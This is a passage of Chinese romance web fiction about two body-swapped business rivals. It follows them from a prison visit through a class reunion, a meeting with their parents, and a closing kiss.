情绪爆发的瞬间,狱警就已经上前控制住男人,短暂的见面戛然而止。
许暻最后只听到话筒里传来微弱的声音:“我要见我老婆!我要见我老婆!”
……
从监狱出来,祁聿直接上了许暻开出来的那辆车。
他伸手,什么话都没说。
许暻淡淡瞥了他一眼,把盖在袖口里的智能手环拆下来给了他。
屏幕上还显示正在录音。
祁聿连了手机,把录音传到了云端。
“现在看来是能确定了。”祁聿说完,眼神停在了情绪不太高的许暻身上。
可就算知道了爷爷奶奶的车祸和张启林有关,许暻仍然没办法高兴,反而更难过。
“我想找律师。”
许暻低着头,眼眸垂下,完全掩住了神色。
祁聿没说话,手上却好像有动作。
下一秒,手机里的一张名片出现在许暻面前。
“这是颐安常合作的律师团队,陈律有人脉,我们可以找他。”
许暻微怔,眼眸缓缓抬起,目光聚集在屏幕上,大脑有短暂的停滞。
难以置信的惊愕闯进思绪,她终于转头。
身前那人一点一点进入她的视线,在脑海中渐渐成形。
明明是她的皮囊,她却仿佛能看清祁聿的模样。
一股汹涌的、激烈的冲击感淬入神经,循径蔓延全身,最后又冲到心口,给那颗最柔软的脏器狠狠一击。
她觉得自己肯定是眼花了,竟会在祁聿周围看到一圈浅金色的光镀。
不刺眼,很柔和、很令她心安。
是了,她还记得,他就是这样的人,什么事都有准备,对所有的事都游刃有余。
她以前最讨厌这一点。
这一刻,她却觉得这是属于他的、最好的品质。
眼角泛起一阵酸涩,许暻丝毫没注意到自己的神情变得脆弱。
她只看到眼前的人眸子里升起了她看不懂的情愫。
像同情,更像是心疼。
她依旧保持着姿势,只看到眼前的人越来越近,双臂有张开的趋势。
许暻还没反应过来他想做什么,祁聿的动作陡然停在了紧促的铃声中。
许暻一个激灵,瞬间收回了视线。
低头看到正在响铃的手机。
是她不算太熟的备注:陆嘉译。
许暻把备注亮给祁聿看,问他要不要接。
“接。”
陆嘉译是祁聿大学时期的室友,也是这一次同学聚会的发起者之一。
电话接通,不等许暻开口,那头的人已经迫不及待:“祁总,今天没在忙吧?要不要提前过来会所?咱们还安排了下午茶。”
车内的空间相对狭小,又开了免提,祁聿自然能听到。
祁聿望着许暻,示意她回答。
以为祁聿是要去,许暻直接应了下来:“好,你们把位置发我,几点到?”
那头的人明显更兴奋:“没问题!就两点碰面呗?”
许暻顺着话答:“好。”
以为那头要结束,许暻刚打算挂电话,陆嘉译又补充了句:“那咱们可等你来啊!咱们赵大美女也在哦!”
闻言,许暻的手差点没稳住。
下意识瞟了眼祁聿的反应,那人同时看过来,眸子里却有些疑惑。
许暻没来得及回应,那头已经挂了电话。
手机自动退出通话页面,许暻已经懒得关,直接甩在了中控台上。
又冷冷对那人道:“下车。”
祁聿当然不肯听,甚至没弄明白她怎么突然变得气哄哄的。
“你不想提前去?”
本是一句寻常的询问,许暻却听出了质问的味道。
胸口的气焰更浓,连带着说出口的话也变得阴阳怪气:“哪敢?祁总那么想去,我总不能拖着祁总的身体?”
“我刚刚是在让你决定,你想去就去,不去咱们就晚上再去。”
“……”
覆在车钥匙上的手紧了紧,许暻只想催促他赶紧下车。
祁聿干脆锁了车门,赖着不肯走。
侧身抄过许暻的手,重新抽了车钥匙,又把她的手裹在掌心不让她逃。
“你在生什么气?”
许暻一刻不停地挣扎,手却抽不回来,反而被他握得越来越紧。
她持续嘴硬:“我哪有生气?”
视线坚决不和他交汇,身体也往另一侧靠,全身都写满了对祁聿的抗拒。
“昨晚就不肯理我,今早又自己一个人跑这么远,现在又对我阴阳怪气,还说不是生气?”祁聿钳制着她的手,眸光里射出一丝危险气息。
这一次语塞的人变成了许暻。
鲜少有这种说不过祁聿的时候。
一丝羞耻混杂在气焰中,继续往回扯着手。
手上的力度却再一次加重。
“跟我说说,我又是哪惹着我们许总了?”
突然柔和的语气,带着轻轻上扬的尾调,有点哄小孩的味道。
许暻感觉心口的羞耻感更重。
太狡猾了……
他又这样……
“放开……”无用的挣扎还在继续,许暻不想回答他。
祁聿弯了弯身,又凑近了些,似是在打量她。
许暻想躲避,那人又刚好避开锋芒。
他说她不想说,那他也不追问了,现在干脆去跟那位肇事者的老婆好好谈谈,等下一次探视日带他老婆去见他,没准能知道更多消息。
张启林那边也有人探消息,他们暂时先不能惊动他,以免坏事。
果然,回到正事上面,许暻总是妥协得很快。<
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祁聿跟着松了手,但是依然不愿意下车,说要和她同车,他开来的那辆车他直接找代驾开回去。
……
肇事者的老婆没想到‘祁聿’会找回来,更没想到‘许暻’也来了。
最意外的是,他们竟说服了她的老公见她。
女人泣不成声,许暻好不容易把人安慰好,又嘱咐她这段时间别乱跑,到了日子他们会过来接她一起。
女人见老公心切,哪怕不知道他们是怎么说服她老公,此刻的他们对她来说也无异于恩人,她自然什么话都能听进去。
像祁聿之前看到的那样,女人差点又要下跪感谢,被许暻给拦住了。
……
再出来,已经晌午。
未眠的困意席卷,许暻实在开不了车,自觉坐到副驾驶座去了。
“你不会一夜没睡吧?”祁聿早早就注意到了她眼底的乌青,一直没戳破。
被拆穿的人撇过头,没好气道:“没有。”
跟着肚子又叫了两声。
气势全消。
“……”
许暻再一次把责任归到祁聿身上:“是你的肚子饿了,不关我事。”
祁聿竟也认了下来,说现在就带她去吃饭。
许暻闭着眼睛,他的话也有些朦胧不清。
她实在是太困了。
身体感觉到车在原地停了一阵,然后开始驶动。
等再醒来时,许暻发现自己是平躺着的。
眼前的景象在眼底慢慢聚焦,她发现还是在车里。
窗外的阳光依旧,鼻间隐隐飘着食物的香气。
她不知道自己睡了多久,只觉得特别饿。
艰难地动了动身子,她慢慢撑着座椅起来,身旁的人也跟着有了动静。
祁聿注意到她醒了,扶她起来,又把座椅重新调了回来。
“醒了?”
许暻刚睡醒,大脑还有些懵,下意识问:“几点了?”
祁聿回答:“四点。”
“四点?!”许暻猛然清醒。
他们不是答应了陆嘉译两点去会所吗?
祁聿把买好的双皮奶给她拆了送到她跟前,解释已经给陆嘉译发过消息说晚点到。
“你怎么不叫醒我?”许暻揉了揉太阳穴,没急着接。
祁聿说看她睡得太香,于是没有叫醒她,考虑到她很饿,才提前去买了糖水。
熟悉的感觉又一次攀升。
许暻神绪复杂地在祁聿和双皮奶之间来回审视。
又是这样……
他又是这样来考虑她……
太狡猾了……
“想让我喂你?”见许暻半天不接,祁聿突然逗她。
许暻瞬间慌神,迅速接了过来,虽然动作略显慌乱,虽然双皮奶的甜水差点洒漏。
她闷头快速消灭手里的糖水,食物进肚的那一刻胃里果然好受了些。
祁聿抽了张纸递给她:“要不要再去吃点什么?正好吃完宋楹差不多也下班了,咱们一起过去。”
擦了擦粘着糖水的嘴角,许暻疑惑:“你没吃东西吗?”
祁聿不知道拿着手机在翻什么,随口应她,说想等她醒了一起。
又是片刻的沉默。
许暻感觉大脑快要生锈了,思考的速度越来越跟不上。
不应该是这样的。
他们之间不应该是这样的。
祁聿应该完全不顾及她才是,他应该到点叫醒她,以免耽误他去见心上人的时间才对。
心上人……
许暻一愣,想起祁聿拿手机给陆嘉译发了消息。
那他是不是也看到了赵婧姝的消息?
一丝罪恶的紧张悄然爬到心间,许暻在想要不要跟他解释。
蓦地,祁聿又把手机伸到她跟前,屏幕上是许暻很熟悉的一家米线餐厅。
“这附近有这个米线,是不是很久没去了?也不用担心晚上会吃不下东西。”
这家米线是大学那会他们常吃的。
距离学校不远,他们四个人吃腻了食堂就会约着一起去。
所以他在手机上翻找半天就是找这个?
许暻好烦他。
抽风转性一次两次就算了,非得这么多次。
非得让她一次又一次地认清。
非得让她招架不住他的行为。
非得让她完全承认真的喜欢他。
他太可恶、太狡猾了。
许暻不说话,此刻祁聿已经默认她的情绪还没完全恢复,转手给她拉了安全带。
十分钟后,许暻坐在餐厅的位置上还没缓神。
祁聿甚至都不用问就已经知道她要吃什么。
看着滚烫的米线摆在跟前,鼻息间盈满了熟悉的香气,许暻没急着动筷。
突然间肚子里好多话被情绪一点一点捧高,快要冒到嗓子眼。
内里弥漫着欲罢不能的酸胀,许暻倏然唤他:“祁聿……”
对面的人正用筷子搅动碗里的米线,动作因为她的声音停了下来。
他直直地望她:“有话想说?”
41. 氧气+41
对上祁聿视线的那一刻,许暻突然泄了气。
话语堵在了嗓子眼,失去了说出口的动力。
她仓促收回视线,逃避了句:“没有……”
然后闷着头吃东西,一言不发。
对面的人也在短暂的沉默之后继续手里的动作。
……
和宋楹碰面之后,许暻把祁聿赶去了宋楹车上。
说他现在占据她的身体,就应该做符合她行为的事。
不知怎的,祁聿这一次倒是十分干脆地答应了。
许暻跟在宋楹的车后面,脑海中的思绪未停。
红灯路口,三位数的秒数不紧不慢地跳动着,冷风混着汽笛声飘进车内,许暻稍稍出神,视线落在了中控台祁聿的手机上。
他有看到赵婧姝的消息么……
她一会见到那个人,要用他的身体做出怎样的反应才合适?
他们会重新在一起吗?
她要顶替他的身份取悦他的心上人吗?
恍然间,许暻只觉得那股熟悉的黑咖啡的苦涩又涌上心头。
意识到情绪逃脱了大脑的掌控,许暻重新直视前方,注意到前车里的两人好似在讨论什么。
没来得及多想,夺目的红色已经跳转为亮眼的绿。
车轮辗过路面的声音又此起彼伏,窗外的声音又重新滚过。
会所位于市中心的繁华地带,受众算得上单调,门槛较高。
不过陆嘉译的手笔一向不低调。
聚会只剩他们三人没到。
原本就等着祁聿来的陆嘉译早早地候在门口,见人终于到了,凑上去就是一通揶揄。
“祁总还专门吊我胃口,我可是等了你一天,咱们可好久没见了,今晚你必须自罚三杯!”
被不算熟悉的男人勾肩搭背,许暻还真有些不适应。
为了不露馅,她只好干笑两声,不动声色地转了身,说要等还没下车的许暻和宋楹。
陆嘉译的视线跟着移了过去,笑着打了招呼:“许总,宋医生,好久不见啊!”
几句客套话之后,他们跟着陆嘉译一起进去。
许暻的脚步很慢,藏在口袋里的一只手稍稍握紧,嘴唇莫名干涩。
她低着头悄悄舔唇,才吐了口气,耳边突然撞进一道声音。
“紧张什么?”祁聿跟着放缓脚步,走在她身边。
被他吓得浑身一颤,许暻好不容易平缓的情绪又重新紧绷。
她刻意跟他拉开距离:“没紧张,你别跟我走太近。”
祁聿却不听,横跨一步,又拉近了两人的距离。
他说这是他的身体,是不是紧张他一眼就能看出来。
许暻不说话了。
他真的好烦。
他真的好阴魂不散。
缠了她一整天,现在还非要戳穿她!
宋楹也不知怎的,头也不带回一下,闷着往前走。
许暻继续装死,完全避免和祁聿有视线的接触。
好在陆嘉译时刻关注着‘他’这个室友,见‘他’落在后面,主动凑了过来。
宛若遇到救星一般,许暻一股脑地跟着他走。
却在落座之后终于明白陆嘉译的心思——
‘祁聿’的座位被陆嘉译安排在赵婧姝身旁。
‘许暻’和宋楹的位置远在圆桌的另一边。
许暻一直能感受到赵婧姝火热的视线。
六年过去,这位老同学已经大变模样,落落大方、风情万种。
听说她刚回国不久。
“祁聿,好久不见。”她主动开口,重复了那条信息。
面对这个人,许暻不知道自己该显露怎样的神情,面对心上人什么的……她一点都不拿手。
眸光下意识找寻对面的祁聿和宋楹。
她才发现两人都在看她。
祁聿神色平静,似乎在等着她的反应。
宋楹则是一脸看戏的模样。
心里更没底气,许暻抿着唇,想要保守回复。
身旁那人却开口在她之前:“昨天给你发消息,你都没有回我,听说你现在已经是颐安的CEO了?这么多年过去,看来是把我这个老同学给忘了?”
她的声音不算小,在他们身旁的人都能听到。
却也算不上大,至少对面的祁聿和宋楹没有听见。
许暻看到身旁的人注意力都在他们身上,等着她的回答。
稍稍斟酌之后,她尽量学着祁聿的语气:“只是太忙,没时间回复。”
这话在许暻听来其实很正常,祁聿确实很忙,他周末都会在家处理工作。
但旁人听来这话却有避嫌的味道。
凑热闹的几个同学不做声,只悄悄打量。
赵婧姝嘴角的笑容僵了一瞬,应对的话来不及从喉间溢出,本次聚会发起者之一的陆嘉译已经站起来发言。
陆嘉译性子开朗,大学那会是班长,他们班同学的关系都还不错,桌上的氛围也比较轻松。
几句笼统的开场白结束,陆嘉译把注意力引到了赵婧姝身上。
赵婧姝是另一个发起者。
“这次呢,也多亏了咱们很久没见的赵大美女,找了这么一个好地方,咱们大家一起敬她一杯!”
许暻刚举起酒杯,赵婧姝的酒杯已经主动碰上来。
她的声音仿佛浸了蜜的暖玉,让人很难不专注去听:“大家不用客气,这次回来就是想见见大家,这几年在国外,我真是相当怀念当初的大学生活呢!”
酒杯碰上来的那一刻,她又补充:“以及身边的人。”
明眼人都能看出来,她意有所指的对象是谁。
清脆的碰撞落入耳际,许暻心底像是拦了块石头,不大不小,却足以让她发闷。
低头看着澄亮的酒液,许暻生出一饮而尽的冲动。
陆嘉译又把话题接到祁聿身上。
“还有就是咱们祁总和许总这两位大咖了啊,新闻里常出现的两位,大家应该都知道吧?祁总今天来晚了,刚刚说好的自罚三杯,咱们可都看着啊!”
许暻猜到了陆嘉译要说什么。
也好,刚好帮她找了个理由。
“明天还要上班,今天还是点到为止吧?”不等许暻动作,对面的人提前开口。
几乎所有人的目光同时看过去,陆嘉译哼笑了声,调侃道:“许总果然格局大,会帮祁总这样的竞争对手挡酒,不过这是祁聿答应了我这个室友的,可不能轻易赖掉哦。”
许暻始终没看祁聿,稍侧的视线注意到赵婧姝一直盯着前方。
推开椅
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子起身,她依旧模仿祁聿的冷淡,爽快答应:“我不赖,陆医生,给我满上吧?”
“祁聿,”话音刚落,宋楹着急阻拦:“你还是别喝那么多吧?”
宋楹知道许暻的酒量,虽然不差,但三杯满上,她不一定能受得了。
许暻却不受任何干扰,催促陆嘉译:“没关系,我这人…一向说到做到。”
酒杯里的液体满了又满,手里承受的重量加了又加。
带着刺激性的液体迅速入喉,许暻却一点不难受,反而浑身都畅快了。
她极少喝酒,也鲜少有忧愁的时候。
这一刻倒是体会到了借酒浇愁的滋味。
三杯酒下肚,气息间已经染上了浓厚的酒味。
终于没有难受的苦涩了。
重新坐下来,桌上的菜已经齐了。
许暻恰好饿了,跟着他们动筷。
久违的交流此起彼伏,许暻却胃口大开,只想好好吃饭。
闷着头一筷子又一筷子地夹着,看都不看直接往嘴里送。
她注意到了落在她身上熟悉的灼热,但她不想看他,她不想好不容易畅快的心情又消失了。
可她忘了,身边还有一个赵婧姝。
她低声凑过来:“祁聿,今晚有空吗?聚会结束之后,跟我去个地方好不好?”
许暻被突如其来的话语呛到,引起一阵剧烈的咳嗽。
她没回答,打了声招呼就往厕所里冲。
冰冷的水泼在脸上,嘴里的东西都被她吐出来,身体舒服了,情绪却像坐了跳楼机,一降到底。
她不知道自己有没有会错赵婧姝话里的意思,心脏不受控制地乱了节奏,分布在那里的神经更是自动往大脑传递痛感。
一抽一抽地疼。
好难受。
抬头看到镜子里的人,那种痛感更强烈。
她伸手按在左胸的位置,咬住了下颌的软肉。
明明难受的是她,‘他’又心痛什么?
灵魂互换真是最差劲的事。
没有互换,就不会听到这些话,更不会因为这个人心痛。
她好想就这么干脆地用他的身体拒绝赵婧姝。
许暻的心情算是被弄得一团糟。
才收拾好了自己,正琢磨着以什么态度去面对赵婧姝,没想到那人在厕所门口等她。
脚步稍稍乱了节奏,许暻缓步停了下来。
赵婧姝眸光微亮,有种不顾一切的架势。
“祁聿,你又在想招数拒绝我么?”
这话问得许暻一愣。
“七年前你已经拒绝过我一次了,七年后你也要用一样的话术吗?”
拒绝?
拒绝什么?
他们不是所谓的‘心系彼此、心照不宣’么?
不是因为赵婧姝要出国深造,他们才没有正式在一起的机会?
许暻不知道怎么回答。
而她的沉默在赵婧姝眼里成了默认。
赵婧姝直接戳穿:“祁聿,如果你真的喜欢许暻,为什么这么多年你们还没有在一起?新闻我都看过了,养老行业里几乎所有人都知道你们不和!你何必用这种不可信的谎言来骗我?!”
“!”
许暻整个人瞬间被抽空了魂儿,愣在原地。
42. 焰火+1
喜欢她?!
祁聿喜欢她?!
什么时候的事?!
许暻的身体完全僵直,宛若一尊被定格的雕像,连最细微的颤抖都没有,也忘了呼吸。
两只手悬在身侧,手指半蜷,迟迟没有下一步的动作。
周围的一切仿佛都被一道无形的盾壳隔绝在外,她听不到任何声音,连眼前的人影都逐渐变得模糊。
大脑跟着宕机,完全失去了接收和处理信息的能力。
她感觉置身于一片雪茫之中,目光能触及的只有大片的空白。
不知道过了多久,许暻还是只能想到那一句话:
祁聿……喜欢她?
赵婧姝的身影重新在视线里慢慢汇聚,她又听见她说:“祁聿,我这次回来是为了你回来的,我很想念你,你跟许暻分明就不合适,我们才是最合拍的,你忘了?大学时期小组合作我们是最默契的搭配。”
许暻只接收了那句‘你跟许暻分明就不合适’。
一股强烈的情绪翻涌而上,她还没反应过来,嘴已经下意识反驳:“你怎么就知道我们不合适?”
眼前的女人脸色一僵,嘴唇快速翕动几下,却只泄出几道短促的气音。
仰头望向她的神色一凛,赵婧姝似乎是察觉到什么,往后退了一步,问:“你什么意思?”
许暻不自觉做了几下吞咽的动作,已经熟悉脖颈正中滚动的喉结。
她鬼使神差地答了句:“我们已经同居了。”
心跳跟着话语加速,她突然觉得自己的话莫名其妙。
可她说的其实也是事实。
她和祁聿确实同居了——
同住在一个屋檐下,也算是同居。
赵婧姝的表情骤然凝固,在亮堂的灯光下,许暻甚至能看到她缩小的瞳孔。
女人脸上的血色倏然褪去,映出僵硬的苍白。
她一句话也没说,只有不断紧皱的双眉,以及微张的嘴唇。
许暻看着她身形已经不稳,又一步一步后退,和她拉开距离后,女人一个转身,快速逃离了这里。
许暻自己也没缓神。
脑海瞬间被‘祁聿喜欢她’充斥,她完全不能消化。
揣着万般复杂的情绪回到了餐桌上,她已经不敢看祁聿一眼。
低着头,却已经没了吃饭的心情。
筷子在食物上来回戳动,至少身旁的赵婧姝再没理她。
桌上的话题起了又停、停了又起,好像所有人都有聊不完的话,宋楹和祁聿也时不时搭几句。
只有她,话少得可怜。
和她一样话少的,还有赵婧姝。
许暻真正回神是桌上不知道谁突然问了句:“这几年怎么一直没有游奕的消息啊?他人去哪了?”
果然不出所料的,几乎所有人的目光全都移到了宋楹身上。
当年班级内部消化的情侣很少,宋楹和游奕是公认且唯一的一对。
许暻看到宋楹的笑容瞬间消失。
她想站出来替她解围,不知道谁又补充了句:“我还以为你们已经结婚了呢!”
桌上的气氛陷入一瞬间的尴尬。
许暻正欲起身,宋楹却已经先她一步。
她笑了声,眼神平静,像无风无波的湖面,语气平和,仿佛在说着一件与自己无关的事:“是有好几年没有他的消息了,也许他是想离开这座城市,换个新的环境生活吧,没准再过几年,咱们这一桌人也凑不齐了。”
那两个故意挑事的人对视一眼,只得尴尬笑笑,又迅速转移了话题。
所有人都觉得,这是个能一语带过的尴尬话题。
只有许暻知道,宋楹听进心里了。
她关注着宋楹的神情,宋楹也注意到她的视线,对她摇头笑了笑。
意思是她没事,让她不要担心。
许暻抿了抿唇,却又意外撞上宋楹身边的灼热。
那两道灼热的视线无形中带着火星子,准确地往她身上撞过来,许暻感觉脸颊瞬间有了反应,被烧得火热。
她迅速低头,继续躲避,朝她撞过来的灼热依旧未断。
……
饭局的最后,许暻一直承受着祁聿投递过来的视线,心口盘起了密密麻麻的丝线,一圈又一圈旋绕,混乱成无数的绳结。
各种念头、猜测、迷茫、震惊都成了碎片,所有的情绪混杂在一起,在那颗柔软的脏器里不停搅动。
许暻根本说不清是苦涩还是甜蜜、是疼痛还是酥麻。
出了会所,赵婧姝匆忙打了招呼,脸色不太好地离开了。
临走前,视线还在‘祁聿’身上狠狠剜了一眼。
许暻只当没看见。
此刻她只想躲着祁聿。
她和祁聿、宋楹同路,打了招呼之后赶紧往车上跑,却在进驾驶座的那一刻被祁聿拦住了。
“想酒驾被抓?”
不算太重的力道握住她的手,语气平淡。
她才想起自己喝了酒。
本来在饭局上还有些晕乎的,但去了一趟厕所之后她就完全清醒了。
被祁聿堵住,胸腔里的心脏宛若一头被惊扰的困兽,瞬间疯狂地左冲右撞。
血液跟着在血管中疾驰,凶猛地冲向四肢百骸。
许暻感觉太阳穴很快‘突突’地跳起来,与心口的撞击频率一致,耳边全然被‘咚咚’的狂想淹没。
酒精也跟着起了劲,许暻不用摸,已经能感觉到脸颊和耳根红得发烫。
逃离的心已经容不得再耽搁,许暻转身就想往宋楹车上跑,祁聿却再次快她一步。
“跑什么?”
“我想去坐楹楹的车……”像是回到了祁聿在家里堵她的那天,她的声音依旧颤得厉害。
毫无气势。
“你和她不住一块。”祁聿盯着她,平静地说出事实。
“我……”
不等许暻拒绝,不远处的宋楹正靠在车窗边朝他们招手:“小暻,你们回家路上小心点,我明天白班,先走了!”
最后留给许暻的只有汽车驶过的余温。
“……”
“许总,看来你只能上我的车了?”祁聿嘴角懒洋洋地歪向一边,扯起一抹很小的弧度。
看得许暻血流奔涌。
最后羞愤地上了车,整个身子背过去,不看他一眼。
心跳不仅没有平缓下来,反而跳得更加迅猛。
她干脆咬着手指,企图用痛感来缓解紧张,只是效果甚微。
思绪又开始飘动:祁聿真的喜欢她?可她为什么一点看不出来?七年前祁聿拒绝了赵婧姝,理由还是喜欢她?祁聿从七年前就喜欢她了?
陡然回想起之前祁聿说过的,自己哪里来的初恋情人。
可……就算没有初恋,这个答案也不该是这样的才对……
喜欢她七年?
是不是太荒谬了些?
喜欢她为什么还那么呛她?喜欢她为什么还不尊重她的人文养老?喜欢她为什么还跟她吵那么多次架?
有这样喜欢人的吗?
这根本不符合逻辑。
手指被她咬得有些麻木。
可同时她也注意到,在那层荒谬的外壳之下,有一丝温热的甜丝往外冒。
甜丝先是试探性地冒了个小头出来,等确认了周围的环境,又如藤蔓般疯狂延伸,贯穿至全身的每一根神经。
每一根神经末梢都好像泡在蜜糖里。
哪怕是嗜甜如许暻,也觉得这甜太过齁腻。
“刚才你出去那会,赵婧姝跟你说了什么?”
思绪猝然被打断,许暻猛地一激灵。
虽是背对着祁聿,眼眸依旧慌乱地转了转,偏偏他还是提及这事,话语更加卡顿:“没…没什么啊……”
视线定格在玻璃窗上,她看到祁聿转了下头,又快速转回去。
他的呼吸好像不太稳:“是么?那你脸这么红?是知道了什么?”
许暻一惊,齿间的力度更重。
这人怎么能问得这么精准?
许暻的语气完全飘了起来,每一个字都说得十分艰难:“我…我酒精上头……什么…什么都不知道……”
狭窄的环境里,只有交错的呼吸声清晰可闻。
祁聿沉默了良久,最后又颇具深意地说了句:”是么?”
……
十几分钟的路程,许暻感觉过了快一个世纪。
好不容易到了停车场,她逃难似的跑下车,却无论如何也没想到会撞上她爸妈。
“爸妈?!你们怎么会在这?”她下意识唤出声,在注意到两人眼底的错愕时才恍然意识到自己叫错了。
她抬手挡住唇,想要找补,却发现她爸妈身后还跟着三个人。
祁聿的父母。
还有周擎越。
这种对许暻来说充满危机的时候,她下意识找寻的就是和自己同阵营的人。
祁聿在看到两人的父母还有周擎越之后神色微变,但没有过于震惊,似乎这一切还在他的意料之中。
“爸妈,叔叔阿姨。”祁聿打过招呼。
“阿聿,这么大的事你都不跟爸爸妈妈说一声吗?”祁母稍稍严肃地质问。
……
许暻才知道,是他们知道了两人同居的事。
而这一切的始作俑者,都是祁聿。
事情的起因是因为早晨的一通电话,也是叫醒祁聿的电话。
许父许母去女儿那里发现她不在家,打电话过来询问,却得知女儿住到了祁聿家。
两人没想到才说着喜欢的两个人居然会以这么快的速度同居。
许母当下就和祁母说了这事,祁父祁母对此更是全然不知,虽说他们一直喜欢许暻,可没想到自家儿子会一声不吭地跟人同居了。
至于周擎越,他是去看许父许母时知道两人同居。此前他也听易玲说了两人最近走得很近,养老院甚至已经传出祁聿喜欢许暻的消息,他说作为许暻的师兄,一定要跟着一起来。
许暻坐在沙发上,两
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手蜷在腿上,表面看上去没什么,心里却想把祁聿大卸八块。
他居然就这么说出去了!
搞得她现在不得不承认他们是因为在一起才同居,灵魂互换这事,跟爸妈说也太诡异了些。
而始作俑者在那里一点不怯,说他们只是住在一起,但该有的分寸还在。
“……”
许暻都不敢看父母的脸色,生怕她老爸一气之下不认她这个女儿。
“阿聿,这事责任在你,怎么能这么瞒着父母呢?”开口的是祁父,语气略显严肃。
许暻能怎么办,当然只能顺着他们的话道歉。
心底对祁聿的怨念更深,偷瞟过去,恨不得在他肩上狠狠咬一口!
只是两家父母这次过来都不是找茬,稍加说训和提醒之后,看在两人态度不错,最后也接受了。
再多的,就是许暻被父亲叫到阳台,不过是以‘祁聿’的身份。
她尴尬地看着父亲,等着他先开口。
“阿聿,叔叔虽然不反对你和小暻在一起,之前也听她说了你很喜欢她,但我还是想说,你不准欺负小暻,事业上你们各持己见另说,但是感情是需要包容的。”
许父的话,许暻只听到了那一句——
‘你很喜欢她’。
她没说过。
也就是说,这话是祁聿说的。
记忆拉回到了上周。
他们在宋楹家偶遇父母,然后父母拉着祁聿单独说了什么,那个时候祁聿说没有瞎说……
是那个时候……
后面自己老爸的话她一句都没听进去。
只记得最后机械地应他:“我肯定会好好对她的!”
这话连她自己都后知后觉地好笑。
许父却真的信了。
他们又一起离开。
只有周擎越不太高兴。
临走前,他突然转眸,说有话要和‘祁聿’说,许暻虽然不知道周擎越要说什么,但还是打算跟出去,祁聿却有阻拦她的意思。
最后没拦住。
空旷的消防通道里,许暻还等着周擎越赶紧说完,她需要时间回去和祁聿好好沟通沟通。
最起码,不应该这么不明不白地慌乱下去。
“祁聿,你不适合她。”周擎越突然说。
这话是许暻没料到的。
像又回到了会所的厕所门口,赵婧姝说了相同的话,说他们不合适。
不知为什么,许暻觉得‘不合适’这几个字十分刺耳。
“我不适合她,又有谁适合?”或许是借了点酒精的作用,她把战斗力发挥到了极致,语气很冷、很尖锐。
变得和寻常的祁聿一模一样。
然而周擎越不是被一两句话就震住的人,他凛了凛眉道:“祁聿,你让小暻在养老院跟那些职工说你喜欢她,让整个养老院的人都知道你喜欢她,这种靠着虚张声势得来的感情,又有几分真?”
“整个养老院都知道了?”许暻更加意外。
祁聿不仅跟她爸妈说了喜欢她,甚至让养老院的人都知道了?!
然而注意力很快被拉回到周擎越身上。
许暻一瞬恍惚,感觉看到了另一面的周擎越。
以往他总是以一副温润谦和的模样出现在她面前,心思细腻、做事缜密有原则。
可现在,他有些像在‘他’面前示威。
这就是祁聿不愿意喊他‘周大哥’的原因么?
周擎越神色未变,可平静中总像是藏着不容错辨的暗流,他接着说:“祁聿,你和小暻做朋友完全可以,但做恋人,你绝对不是小暻的良配。”
许暻不懂周擎越为什么要如此掺和她跟祁聿的事,依旧冷冽回应:“这是我跟她之间的事,至少,我们互相喜欢。”
这话一出,许暻自己都有些愣。
心底悄然暗笑,这话居然会是她说出来的。
互相喜欢……
倒也不错。
周擎越沉默再沉默,不知道是不是许暻的错觉,她看到他眼底闪过一种极其锐利的光芒,在他身上固有的温润仿佛消失了一瞬,取而代之的是让人无法忽略的寒意。
许暻还未深思,他便转身离开,只留下一句:“你们走不长久。”
许暻蹙着眉凝着渐远的背影,觉得她的这位师兄今晚莫名其妙的。
但比起他,她更想回去和祁聿对峙。
今天发生了太多的事情,她接收了太多的信息量,她得弄明白、她得弄清楚。
他到底是不是喜欢她、他到底从什么时候开始喜欢她,以及他为什么喜欢她。
呼吸扑了点酒精味出来,她又回到了微醺的状态,神经隐隐兴奋,停顿两秒后,她推开了家门。
视线下意识寻找屋内的人,那人却已经不等她反应,在她两只脚甚至还没能脱下鞋子,就已经把她抵在了墙边。
许暻一个没站稳,跌坐在了玄关的软凳上。
她还来不及吐出一个字,嘴唇便已经被一道凶狠的力量堵住。
43. 焰火+2
而这恰好便捷了祁聿的掠夺。
他的动作极其凶狠,紧紧扣着她的后脑勺,不让唇舌之间留有一丝距离。
不同于上一次那个失败的‘试验’,这一次祁聿完全就是带着缱绻的掠夺。
他毫不留情地闯入,试图用唇舌纠缠勾起她的情愫与悸动。
许暻只觉得顷刻之间掉入了汹涌的浪潮之中,潮水瞬间夺走了她全部的呼吸,肺部的氧气跟着耗尽。
大脑因为缺氧一片空白,耳边嗡嗡作响。
她的眼眸快速地眨动着,还没辨清眼前人的模样。她想推开他,手掌却像是在推动坚硬的岩石,任她使劲发力,他也未动一分一毫。
好奇怪……
她现在是在和祁聿接吻……
这种感觉太奇怪了……
她从未幻想过。
尤其是她现在是在祁聿的身体里,而祁聿也在她的身体里。
可他带给她的感觉就是祁聿。
是祁聿,在吻许暻。
她想挣扎开来把话说清,可他好似误会了她的意思,她越挣扎,他禁锢的力度就越深。
恨不能把她整个人都拆吃入腹。
他的手掌托着她的脖颈,浑身的气息都渡入她的鼻息间,浸染了她口腔里的酒精味道,来回往复。
吻了一会儿,祁聿似乎觉得还不够,吮吻的动作逐渐变成了啃咬,许暻陡然觉得舌尖尝到了一抹酸。
她仿佛感受到了来自于他的醋意,十分强烈,融化在他炽热、滚烫的呼吸中,像焰火般燃烧,蔓延进她的口腔。他好像要把他所有的焦灼和爱意都攒入这个疯狂的吻中,然后刻入她的骨髓。
摸不清过了多久,许暻感觉自己的身体也少了起来,心跳变频加速,内里的氧气几乎被攫取完,她濒临窒息的边缘,祁聿才松开了她。
粗重、混浊的呼吸声交汇在一起,一呼一吸中已经浸满了彼此的气息。
就好像再也无法分开。
祁聿仍然托着她的脖颈,眼底的侵略性未减,视线钉在她的眸光里,像是要把这副意乱情迷的模样深深刻进脑海。
四目相对,半刻无言。
等祁聿稍稍平复了些,他仍死死盯着那双眸,一字一句都带着强烈的占有欲:“不管周擎越对你说了什么,都不要听,现在,你是我的。”
“祁聿……”许暻的气息依然不稳,她仰眸对上那道灼热,唇边泛着浅浅的水光,酒精的作用已经发挥到极致,她感觉整个人都变成了微醺的状态。
也是酒精给了她勇气,就那么问了出来:“你…为什么吻我?”
祁聿盯着她不做声,不知道是想从她的目光里探寻到什么答案,又不知道他最后是确定了什么。
他深吸了口气,说:“答案,你不是已经知道了?”
许暻好像瞬间读懂了他的意思。
